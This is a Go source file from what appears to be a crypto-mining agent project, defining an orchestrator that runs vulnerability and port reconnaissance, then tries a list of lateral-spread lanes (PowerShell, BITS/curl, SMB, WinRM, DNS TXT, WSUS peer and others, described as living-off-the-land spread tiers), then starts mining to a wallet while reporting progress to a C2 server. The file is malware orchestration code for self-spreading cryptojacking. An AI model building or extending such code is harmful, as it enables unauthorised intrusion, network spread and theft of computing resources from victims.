Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
479 lines
13 KiB
Go
479 lines
13 KiB
Go
package miner
|
|
|
|
import (
|
|
"context"
|
|
"os"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// OnionPhase identifies one layer of the recon → deploy → mining triple onion.
|
|
type OnionPhase string
|
|
|
|
const (
|
|
OnionPhaseRecon OnionPhase = "recon"
|
|
OnionPhaseDeploy OnionPhase = "deploy"
|
|
OnionPhaseMining OnionPhase = "mining"
|
|
)
|
|
|
|
// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
|
|
type TripleOnionPolicy struct {
|
|
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
|
PatchFirst bool `json:"patch_first,omitempty"`
|
|
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
|
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
|
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
|
ReconTiers []string `json:"recon_tiers,omitempty"`
|
|
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
|
}
|
|
|
|
// SimpleDeployTripleOnionPolicy is the server/agent policy for deploy→test→mine without spread lanes.
|
|
func SimpleDeployTripleOnionPolicy() TripleOnionPolicy {
|
|
return TripleOnionPolicy{
|
|
SimpleDeploy: true,
|
|
PatchFirst: false,
|
|
SkipMiningOnHighRisk: false,
|
|
HighRiskThreshold: 100,
|
|
}
|
|
}
|
|
|
|
// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
|
|
func DefaultTripleOnionPolicy() TripleOnionPolicy {
|
|
return TripleOnionPolicy{
|
|
PatchFirst: true,
|
|
HighRiskThreshold: 50,
|
|
ReconTiers: append([]string(nil), DefaultReconTiers...),
|
|
DeployLanes: append([]string(nil), DefaultDeployLanes...),
|
|
}
|
|
}
|
|
|
|
// DefaultReconTiers is the vuln + service probe chain run before deploy.
|
|
var DefaultReconTiers = []string{
|
|
"kev_scan",
|
|
"vuln_recon",
|
|
"service_probe",
|
|
"listen_ports",
|
|
}
|
|
|
|
// DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
|
|
// Deploy success is spread-only; terminal goal is always mining via startMiningWhenReady().
|
|
var DefaultDeployLanes = []string{
|
|
"discover_and_join",
|
|
"docker",
|
|
"wsl",
|
|
"powershell",
|
|
"dotnet",
|
|
"bits_curl",
|
|
"do_peer",
|
|
"wsus_cache_peer",
|
|
"dns_txt",
|
|
"webrtc_mesh",
|
|
"smb",
|
|
"winrm",
|
|
}
|
|
|
|
// ReconSnapshot aggregates recon probe output used by policy gates.
|
|
type ReconSnapshot struct {
|
|
RiskScore int `json:"risk_score"`
|
|
CriticalExposed int `json:"critical_exposed"`
|
|
ExposedCount int `json:"exposed_count"`
|
|
LikelyCount int `json:"likely_count"`
|
|
ServiceCount int `json:"service_count"`
|
|
OpenPortCount int `json:"open_port_count"`
|
|
Details map[string]interface{} `json:"details,omitempty"`
|
|
}
|
|
|
|
// GateDecision records which downstream chains policy gates block.
|
|
type GateDecision struct {
|
|
SkipDeploy bool `json:"skip_deploy"`
|
|
SkipMining bool `json:"skip_mining"`
|
|
PatchFirst bool `json:"patch_first"`
|
|
ForceIsolated bool `json:"force_isolated"`
|
|
Reason string `json:"reason,omitempty"`
|
|
}
|
|
|
|
// ReconTierResult is one recon probe outcome.
|
|
type ReconTierResult struct {
|
|
OK bool
|
|
Error string
|
|
Snapshot ReconSnapshot
|
|
}
|
|
|
|
// TripleOnionHooks wires agent-specific recon/deploy/mining without importing client.
|
|
type TripleOnionHooks struct {
|
|
RunReconTier func(ctx context.Context, tier string) ReconTierResult
|
|
RunDeployLane func(ctx context.Context, lane string) (bool, string)
|
|
RunMining func(ctx context.Context)
|
|
ReportEvent func(report TripleOnionReport, eventType string)
|
|
}
|
|
|
|
// TripleOnionReport is the live triple-onion snapshot sent to C2/UI.
|
|
type TripleOnionReport struct {
|
|
ActivePhase OnionPhase `json:"onion_phase,omitempty"`
|
|
Gate GateDecision `json:"gate,omitempty"`
|
|
Recon ReconSnapshot `json:"recon,omitempty"`
|
|
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
}
|
|
|
|
// TripleOnionOrchestrator runs recon → deploy → mining with policy gates.
|
|
type TripleOnionOrchestrator struct {
|
|
mu sync.RWMutex
|
|
cfg config.RuntimeConfig
|
|
policy TripleOnionPolicy
|
|
hooks TripleOnionHooks
|
|
recon ReconSnapshot
|
|
gate GateDecision
|
|
attempts []TierAttempt
|
|
wallet string
|
|
done bool
|
|
}
|
|
|
|
// NewTripleOnionOrchestrator builds an orchestrator from runtime config + server policy.
|
|
func NewTripleOnionOrchestrator(cfg config.RuntimeConfig, policy TripleOnionPolicy, hooks TripleOnionHooks) *TripleOnionOrchestrator {
|
|
policy = NormalizeTripleOnionPolicy(policy)
|
|
policy = ApplyEnvTripleOnionOverrides(policy)
|
|
return &TripleOnionOrchestrator{
|
|
cfg: cfg,
|
|
policy: policy,
|
|
hooks: hooks,
|
|
wallet: strings.TrimSpace(cfg.Wallet),
|
|
}
|
|
}
|
|
|
|
// NormalizeTripleOnionPolicy fills defaults for empty policy fields.
|
|
func NormalizeTripleOnionPolicy(p TripleOnionPolicy) TripleOnionPolicy {
|
|
def := DefaultTripleOnionPolicy()
|
|
if len(p.ReconTiers) == 0 {
|
|
p.ReconTiers = def.ReconTiers
|
|
}
|
|
if len(p.DeployLanes) == 0 {
|
|
p.DeployLanes = def.DeployLanes
|
|
}
|
|
if p.HighRiskThreshold <= 0 {
|
|
p.HighRiskThreshold = def.HighRiskThreshold
|
|
}
|
|
// PatchFirst defaults true when unset — only explicit false in JSON disables.
|
|
return p
|
|
}
|
|
|
|
// ApplyEnvTripleOnionOverrides applies operator contingencies from environment.
|
|
func ApplyEnvTripleOnionOverrides(p TripleOnionPolicy) TripleOnionPolicy {
|
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_PATCH_FIRST")); v != "" {
|
|
p.PatchFirst = v == "1" || strings.EqualFold(v, "true")
|
|
}
|
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SKIP_MINING")); v == "1" || strings.EqualFold(v, "true") {
|
|
p.SkipMiningOnHighRisk = true
|
|
}
|
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINE_ISOLATED")); v == "1" || strings.EqualFold(v, "true") {
|
|
p.MineIsolatedTier = true
|
|
}
|
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_HIGH_RISK_THRESHOLD")); v != "" {
|
|
if n, err := parseEnvInt(v); err == nil && n > 0 {
|
|
p.HighRiskThreshold = n
|
|
}
|
|
}
|
|
return p
|
|
}
|
|
|
|
func parseEnvInt(s string) (int, error) {
|
|
n := 0
|
|
for _, c := range s {
|
|
if c < '0' || c > '9' {
|
|
return 0, os.ErrInvalid
|
|
}
|
|
n = n*10 + int(c-'0')
|
|
}
|
|
return n, nil
|
|
}
|
|
|
|
// EvaluateTripleOnionGates decides deploy/mining eligibility from recon + policy.
|
|
func EvaluateTripleOnionGates(policy TripleOnionPolicy, recon ReconSnapshot) GateDecision {
|
|
policy = NormalizeTripleOnionPolicy(policy)
|
|
d := GateDecision{ForceIsolated: policy.MineIsolatedTier}
|
|
|
|
if policy.PatchFirst && recon.CriticalExposed > 0 {
|
|
d.PatchFirst = true
|
|
d.SkipDeploy = true
|
|
d.SkipMining = true
|
|
d.Reason = "patch_first: critical CVE exposed — defer deploy and mining"
|
|
}
|
|
|
|
if policy.SkipMiningOnHighRisk && recon.RiskScore >= policy.HighRiskThreshold {
|
|
d.SkipMining = true
|
|
if d.Reason == "" {
|
|
d.Reason = "skip_mining_on_high_risk: risk score exceeds threshold"
|
|
}
|
|
}
|
|
|
|
return d
|
|
}
|
|
|
|
// ApplyIsolatedMiningPolicy prefers container/WSL tiers before host in-process paths.
|
|
func ApplyIsolatedMiningPolicy(base MiningTierPolicy) MiningTierPolicy {
|
|
skip := make(map[LOTLTier]bool, len(base.SkipTiers)+4)
|
|
for _, t := range base.SkipTiers {
|
|
skip[t] = true
|
|
}
|
|
skip[TierExeSubprocess] = true
|
|
skip[TierCPUInprocess] = true
|
|
skip[TierPSInMemory] = true
|
|
skip[TierDotnet] = true
|
|
|
|
order := []LOTLTier{TierDockerLoad, TierContainer, TierWSL}
|
|
seen := make(map[LOTLTier]bool, len(order))
|
|
for _, t := range order {
|
|
seen[t] = true
|
|
}
|
|
baseOrder := base.TierOrder
|
|
if len(baseOrder) == 0 {
|
|
baseOrder = DefaultTierOrder
|
|
}
|
|
for _, t := range baseOrder {
|
|
if seen[t] || skip[t] {
|
|
continue
|
|
}
|
|
order = append(order, t)
|
|
}
|
|
|
|
skipList := make([]LOTLTier, 0, len(skip))
|
|
for t := range skip {
|
|
skipList = append(skipList, t)
|
|
}
|
|
return MiningTierPolicy{
|
|
TierOrder: order,
|
|
SkipTiers: skipList,
|
|
ForceTier: base.ForceTier,
|
|
}
|
|
}
|
|
|
|
// Run executes the triple onion: recon → gated deploy → gated mining.
|
|
func (o *TripleOnionOrchestrator) Run(ctx context.Context) TripleOnionReport {
|
|
o.mu.Lock()
|
|
o.done = false
|
|
o.mu.Unlock()
|
|
|
|
o.runReconChain(ctx)
|
|
o.mu.Lock()
|
|
o.gate = EvaluateTripleOnionGates(o.policy, o.recon)
|
|
gate := o.gate
|
|
o.mu.Unlock()
|
|
|
|
if !gate.SkipDeploy {
|
|
o.runDeployChain(ctx)
|
|
} else {
|
|
o.recordPhaseSkip(OnionPhaseDeploy, gate.Reason)
|
|
}
|
|
|
|
if !gate.SkipMining {
|
|
o.mu.Lock()
|
|
o.attempts = append(o.attempts, TierAttempt{
|
|
Phase: string(OnionPhaseMining),
|
|
Tier: "mining_chain",
|
|
OK: true,
|
|
Wallet: o.wallet,
|
|
Details: map[string]interface{}{
|
|
"force_isolated": gate.ForceIsolated,
|
|
},
|
|
})
|
|
report := o.buildReport(OnionPhaseMining)
|
|
reporter := o.hooks.ReportEvent
|
|
o.mu.Unlock()
|
|
if reporter != nil {
|
|
reporter(report, "onion_report")
|
|
}
|
|
if o.hooks.RunMining != nil {
|
|
o.hooks.RunMining(ctx)
|
|
}
|
|
} else {
|
|
o.recordPhaseSkip(OnionPhaseMining, gate.Reason)
|
|
}
|
|
|
|
o.mu.Lock()
|
|
o.done = true
|
|
report := o.buildReport("")
|
|
o.mu.Unlock()
|
|
return report
|
|
}
|
|
|
|
func (o *TripleOnionOrchestrator) runReconChain(ctx context.Context) {
|
|
o.mu.RLock()
|
|
tiers := o.policy.ReconTiers
|
|
hooks := o.hooks
|
|
o.mu.RUnlock()
|
|
|
|
for _, tier := range tiers {
|
|
select {
|
|
case <-ctx.Done():
|
|
return
|
|
default:
|
|
}
|
|
if hooks.RunReconTier == nil {
|
|
o.recordAttempt(OnionPhaseRecon, tier, false, "recon hook unavailable", 0, nil)
|
|
continue
|
|
}
|
|
start := time.Now()
|
|
result := hooks.RunReconTier(ctx, tier)
|
|
duration := time.Since(start)
|
|
o.mergeRecon(result.Snapshot)
|
|
errMsg := result.Error
|
|
if !result.OK && errMsg == "" {
|
|
errMsg = "recon tier failed"
|
|
}
|
|
o.recordAttempt(OnionPhaseRecon, tier, result.OK, errMsg, duration, nil)
|
|
}
|
|
}
|
|
|
|
func (o *TripleOnionOrchestrator) runDeployChain(ctx context.Context) {
|
|
o.mu.RLock()
|
|
lanes := o.policy.DeployLanes
|
|
hooks := o.hooks
|
|
o.mu.RUnlock()
|
|
|
|
for _, lane := range lanes {
|
|
select {
|
|
case <-ctx.Done():
|
|
return
|
|
default:
|
|
}
|
|
if hooks.RunDeployLane == nil {
|
|
o.recordAttempt(OnionPhaseDeploy, lane, false, "deploy hook unavailable", 0, nil)
|
|
continue
|
|
}
|
|
start := time.Now()
|
|
ok, reason := hooks.RunDeployLane(ctx, lane)
|
|
duration := time.Since(start)
|
|
details := map[string]interface{}{"lane": lane}
|
|
if reason != "" {
|
|
details["reason"] = reason
|
|
}
|
|
o.recordAttempt(OnionPhaseDeploy, lane, ok, reason, duration, details)
|
|
if ok {
|
|
return
|
|
}
|
|
}
|
|
}
|
|
|
|
func (o *TripleOnionOrchestrator) mergeRecon(s ReconSnapshot) {
|
|
o.mu.Lock()
|
|
defer o.mu.Unlock()
|
|
if s.RiskScore > o.recon.RiskScore {
|
|
o.recon.RiskScore = s.RiskScore
|
|
}
|
|
if s.CriticalExposed > o.recon.CriticalExposed {
|
|
o.recon.CriticalExposed = s.CriticalExposed
|
|
}
|
|
if s.ExposedCount > o.recon.ExposedCount {
|
|
o.recon.ExposedCount = s.ExposedCount
|
|
}
|
|
if s.LikelyCount > o.recon.LikelyCount {
|
|
o.recon.LikelyCount = s.LikelyCount
|
|
}
|
|
if s.ServiceCount > o.recon.ServiceCount {
|
|
o.recon.ServiceCount = s.ServiceCount
|
|
}
|
|
if s.OpenPortCount > o.recon.OpenPortCount {
|
|
o.recon.OpenPortCount = s.OpenPortCount
|
|
}
|
|
if len(s.Details) > 0 {
|
|
if o.recon.Details == nil {
|
|
o.recon.Details = make(map[string]interface{}, len(s.Details))
|
|
}
|
|
for k, v := range s.Details {
|
|
o.recon.Details[k] = v
|
|
}
|
|
}
|
|
}
|
|
|
|
func (o *TripleOnionOrchestrator) recordAttempt(phase OnionPhase, tier string, ok bool, errMsg string, duration time.Duration, details map[string]interface{}) {
|
|
o.mu.Lock()
|
|
attempt := TierAttempt{
|
|
Phase: string(phase),
|
|
Tier: LOTLTier(tier),
|
|
OK: ok,
|
|
DurationMs: duration.Milliseconds(),
|
|
Details: details,
|
|
}
|
|
if phase == OnionPhaseMining {
|
|
attempt.Wallet = o.wallet
|
|
}
|
|
if !ok && errMsg != "" {
|
|
attempt.Error = errMsg
|
|
}
|
|
o.attempts = append(o.attempts, attempt)
|
|
report := o.buildReport(phase)
|
|
reporter := o.hooks.ReportEvent
|
|
o.mu.Unlock()
|
|
if reporter != nil {
|
|
event := "onion_report"
|
|
if !ok {
|
|
event = "onion_fallback"
|
|
}
|
|
reporter(report, event)
|
|
}
|
|
}
|
|
|
|
func (o *TripleOnionOrchestrator) recordPhaseSkip(phase OnionPhase, reason string) {
|
|
o.recordAttempt(phase, "policy_gate", false, reason, 0, map[string]interface{}{"gated": true})
|
|
}
|
|
|
|
func (o *TripleOnionOrchestrator) buildReport(phase OnionPhase) TripleOnionReport {
|
|
attempts := make([]TierAttempt, len(o.attempts))
|
|
copy(attempts, o.attempts)
|
|
return TripleOnionReport{
|
|
ActivePhase: phase,
|
|
Gate: o.gate,
|
|
Recon: o.recon,
|
|
Attempts: attempts,
|
|
Wallet: o.wallet,
|
|
}
|
|
}
|
|
|
|
// Report returns the current triple-onion snapshot.
|
|
func (o *TripleOnionOrchestrator) Report() TripleOnionReport {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.buildReport("")
|
|
}
|
|
|
|
// Attempts returns all recorded tier attempts across phases.
|
|
func (o *TripleOnionOrchestrator) Attempts() []TierAttempt {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
out := make([]TierAttempt, len(o.attempts))
|
|
copy(out, o.attempts)
|
|
return out
|
|
}
|
|
|
|
// GateDecisionSnapshot returns the last evaluated gate decision.
|
|
func (o *TripleOnionOrchestrator) GateDecisionSnapshot() GateDecision {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.gate
|
|
}
|
|
|
|
// Done reports whether Run has completed.
|
|
func (o *TripleOnionOrchestrator) Done() bool {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.done
|
|
}
|
|
|
|
// Policy returns the effective triple-onion policy.
|
|
func (o *TripleOnionOrchestrator) Policy() TripleOnionPolicy {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.policy
|
|
}
|
|
|
|
// UpdateConfig refreshes wallet/runtime config without redeploy.
|
|
func (o *TripleOnionOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
|
|
o.mu.Lock()
|
|
o.cfg = cfg
|
|
o.wallet = strings.TrimSpace(cfg.Wallet)
|
|
o.mu.Unlock()
|
|
}
|